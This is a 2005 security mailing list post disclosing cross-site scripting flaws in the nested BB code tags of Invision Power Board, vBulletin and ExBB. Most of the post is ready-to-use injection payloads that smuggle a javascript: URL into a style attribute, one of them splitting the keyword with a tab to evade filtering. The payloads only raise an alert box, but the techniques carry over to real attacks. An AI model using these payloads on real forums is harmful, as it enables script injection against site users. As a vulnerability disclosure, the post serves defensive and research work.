bugtraq - XSS in the nested BB tag in many forum

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Date: Sat, 15 Jan 2005 16:13:38 +0300
From: "pigrelax" <pigrelax@...dex.ru>
To: <bugtraq@...urityfocus.com>, <full-disclosure@...ts.netsys.com>
Subject: XSS in the nested BB tag in  many forum


XSS was found in the nested BB tag in many forum:

Invision Power Board:
[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`
style=background:url(javascript:alert()) [/COLOR]

vBulletin
[EMAIL=[URL=s as=`s@....ew]mailto:assss@....ew] 
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip
t:alert(/Hi_from_Algol/))` (using tab between "javaSCrip" and "t")

ExBB
[color='[url]http://rerer.rew[/url]]fffff[/color]'
style=background:url(javascript:alert()); 

Other forum and other BB tag may be vulnerable. Examples above work only in
Internet Explorer.

More info - http://www.securitylab.ru/51808.html and
antichat.ru/txt/IPB/index3.php


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